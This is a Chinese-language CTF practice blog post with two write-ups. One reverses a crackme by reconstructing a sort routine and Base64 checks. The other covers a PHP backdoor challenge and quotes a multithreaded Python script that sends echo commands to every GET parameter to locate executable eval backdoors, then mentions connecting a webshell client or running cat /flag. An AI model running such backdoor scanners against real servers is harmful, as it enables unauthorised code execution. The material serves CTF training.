CTF打卡~Day12

发布于 2020-04-30  633 次阅读


Buuoj 刮开有奖

这题有点毒...

首先一番查找找到关键代码

发现已经定义了一个字符串,然后将其放入sub_CD10F0 中,还带了0和10两个参数。进入该函数:

int __cdecl sub_CD10F0(int a1, int a2, int a3)
{
  int result; // eax
  int i; // esi
  int v5; // ecx
  int v6; // edx

  result = a3;
  for ( i = a2; i <= a3; a2 = i )
  {
    v5 = 4 * i;
    v6 = *(_DWORD *)(4 * i + a1);
    if ( a2 < result && i < result )
    {
      do
      {
        if ( v6 > *(_DWORD *)(a1 + 4 * result) )
        {
          if ( i >= result )
            break;
          ++i;
          *(_DWORD *)(v5 + a1) = *(_DWORD *)(a1 + 4 * result);
          if ( i >= result )
            break;
          while ( *(_DWORD *)(a1 + 4 * i) <= v6 )
          {
            if ( ++i >= result )
              goto LABEL_13;
          }
          if ( i >= result )
            break;
          v5 = 4 * i;
          *(_DWORD *)(a1 + 4 * result) = *(_DWORD *)(4 * i + a1);
        }
        --result;
      }
      while ( i < result );
    }
LABEL_13:
    *(_DWORD *)(a1 + 4 * result) = v6;
    sub_CD10F0(a1, a2, i - 1);
    result = a3;
    ++i;
  }
  return result;
}

好乱,似乎还有递归函数,分析不能,直接在Cpp里面重写尝试实现:

#include<bits/stdc++.h>
using namespace std;
int ax[]={90, 74, 83, 69, 67, 97, 78, 72, 51, 110, 103};
int a(int *a1,int a2,int a3){
	
	int i;
	int result = a3;
	int v5,v6;
	for(i=a2;i<=a3;a2=i)
	{
		v5 = i;
		v6 = a1[i];
		if( a2 < result && i < result )
		{
		 do{
		 	if(v6>(a1[result]))
		 	{
		 		if(i>=result)
		 			break;
		 		++i;
		 		a1[v5] = a1[result];
		 		if(i>=result)
		 			break;
		 		while(a1[i]<=v6)
		 		{
		 			if(++i>=result)
		 			goto LABEL_13;
				 }
				 if(i>=result)
				 	break;
				 v5 = i;
				 a1[result] = a1[i];
			 }
			 --result;
		 }while(i<result);
		 }
		 LABEL_13:
		 	a1[result] = v6;
		 	a(a1,a2,i-1);
		 	result = a3;
		 	++i;
			 
	}
	

} 
int main(){
	int a2=0,a3=10;
	int x=a(ax,0,10);
	for(int i=0;i<=12;i++)
	printf("%c",ax[i]);
}

之前有看别人的博客有问为啥要吧几个4*i4*result改成iresult,我一开始是没有改掉的,后面发现根本算不出来。后面经过观察发现这些乘了4的都是用在数组的指针上的变量。后面有些好奇在52破解论坛上凑不要脸的问了下,后面得知这是由于一个int变量占用的内存是4bytes,所以指针加上的值要乘以4。

运算出来的结果是3CEHJNSZagn ,继续分析:

后面将读入的字符数组放入sub_CD1000,这个函数进去感觉有些离谱,但是似乎可能是一个Base64解码,因为

跟踪一下代码,发现后面的

果然可以解开成jMp WP1

之后的一些逻辑判断我就直接在代码批注里写了:

BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4)
{
  const char *v4; // esi
  const char *v5; // edi
  int v7; // [esp+8h] [ebp-20030h]
  int v8; // [esp+Ch] [ebp-2002Ch]
  int v9; // [esp+10h] [ebp-20028h]
  int v10; // [esp+14h] [ebp-20024h]
  int v11; // [esp+18h] [ebp-20020h]
  int v12; // [esp+1Ch] [ebp-2001Ch]
  int v13; // [esp+20h] [ebp-20018h]
  int v14; // [esp+24h] [ebp-20014h]
  int v15; // [esp+28h] [ebp-20010h]
  int v16; // [esp+2Ch] [ebp-2000Ch]
  int v17; // [esp+30h] [ebp-20008h]
  CHAR String; // [esp+34h] [ebp-20004h]
  char v19; // [esp+35h] [ebp-20003h]
  char v20; // [esp+36h] [ebp-20002h]
  char v21; // [esp+37h] [ebp-20001h]
  char v22; // [esp+38h] [ebp-20000h]
  char v23; // [esp+39h] [ebp-1FFFFh]
  char v24; // [esp+3Ah] [ebp-1FFFEh]
  char v25; // [esp+3Bh] [ebp-1FFFDh]
  char v26; // [esp+10034h] [ebp-10004h]
  char v27; // [esp+10035h] [ebp-10003h]
  char v28; // [esp+10036h] [ebp-10002h]

  if ( a2 == 272 )
    return 1;
  if ( a2 != 273 )
    return 0;
  if ( (_WORD)a3 == 1001 )
  {
    memset(&String, 0, 0xFFFFu);
    GetDlgItemTextA(hDlg, 1000, &String, 0xFFFF);
    if ( strlen(&String) == 8 )
    {
      v7 = 'Z';
      v8 = 'J';
      v9 = 'S';
      v10 = 'E';
      v11 = 'C';
      v12 = 'a';
      v13 = 'N';
      v14 = 'H';
      v15 = '3';
      v16 = 'n';
      v17 = 'g';
      sub_CD10F0((int)&v7, 0, 10);              // v7->17 => 3CEHJNSZagn
      memset(&v26, 0, 0xFFFFu);
      v26 = v23;                                // String->v25 =>User input
                                                // v26 -> v28 => char array
      v28 = v25;
      v27 = v24;                                // v26 -> v28 => 6,7,8th char of the input,which is jMp acccrding to the Base64 decode below.
      v4 = sub_CD1000((int)&v26, strlen(&v26));
      memset(&v26, 0, 0xFFFFu);
      v27 = v21;
      v26 = v20;
      v28 = v22;                                // v26 -> v28 => 3rd,4,5th char of the input,which is WP1 according to the Base64 decode below.
      v5 = sub_CD1000((int)&v26, strlen(&v26));
      if ( String == v7 + 34                    // String = U
        && v19 == v11                           // 2nd char = J
        && 4 * v20 - 141 == 3 * v9              // 3rd char = W
        && v21 / 4 == 2 * (v14 / 9)             // 4th char = P
        && !strcmp(v4, "ak1w")                  // jMp WP1
        && !strcmp(
              v5,
              "V1Ax") )
      {
        MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0);
      }
    }
    return 0;
  }
  if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
    return 0;
  EndDialog(hDlg, (unsigned __int16)a3);
  return 1;
}

最后附上Base64编码的原理 https://www.jianshu.com/p/bd4ac318d359

刚刚能够判断那个高度可疑是Base64就是因为那个字符串就是Base64的索引(a-z A-Z 0-9 +=/)

[强网杯 2019]高明的黑客

由于种种原因,这题没有去复现,但是还是就记录下来吧:)

这题下有3000多个随机的php文件,很多都有类似$_GET['weR23kG']之后又有eval的语句,但是绝大多是都是不可用的。这里就是猜测有一两个可以使用的后门漏洞。

这题实际上考的最核心的就是正则表达式还有py脚本的编写和解析数据的能力。

主要的实现原理就是用正则搜索$_GET['<var>']$_POST['<var>']这样的关键语句,之后传入<var>=echo 'Backdoor Found'这样的来查找可以执行的漏洞。

这里po一下别的师傅的代码吧:

https://www.cnblogs.com/h3zh1/p/12661892.html

import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了

url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"

# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"


rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数

fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程


local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
	with sem:
		file = open( path + fileName, 'r',encoding='utf-8' )
		content = file.read()
		print("[+]checking:%s" % fileName )
		#测试get的参数
		for i in rrGET.findall(content):
			r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
			if "~h3zh1~" in r.text:
				flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
				print(flag)
				local_file.write(flag)
		#测试post的参数
		#for i in rrPOST.findall(content):
		#	r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
		#	if "~h3zh1~" in r.text:
		#		flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
		#		print(flag)
		#		local_file.writelines(flag)
if __name__ == '__main__':
	start_time = time.time() # 开始时间
	print("[start]程序开始:"+str(start_time))
	thread_list = []
	for fileName in fileNames:
		t = threading.Thread( target=run , args=(fileName,) )
		thread_list.append(t)
	for t in thread_list:
		t.start()
	for t in thread_list:
		t.join()
		
	end_time = time.time()
	local_file.close()
	print("[end]程序结束:用时(秒):"+str(end_time-start_time))

之后就直接AntSword连接或者直接cat /flag就行了~~

最近发现正则表达式太重要了,五一假期得好好学学QAQ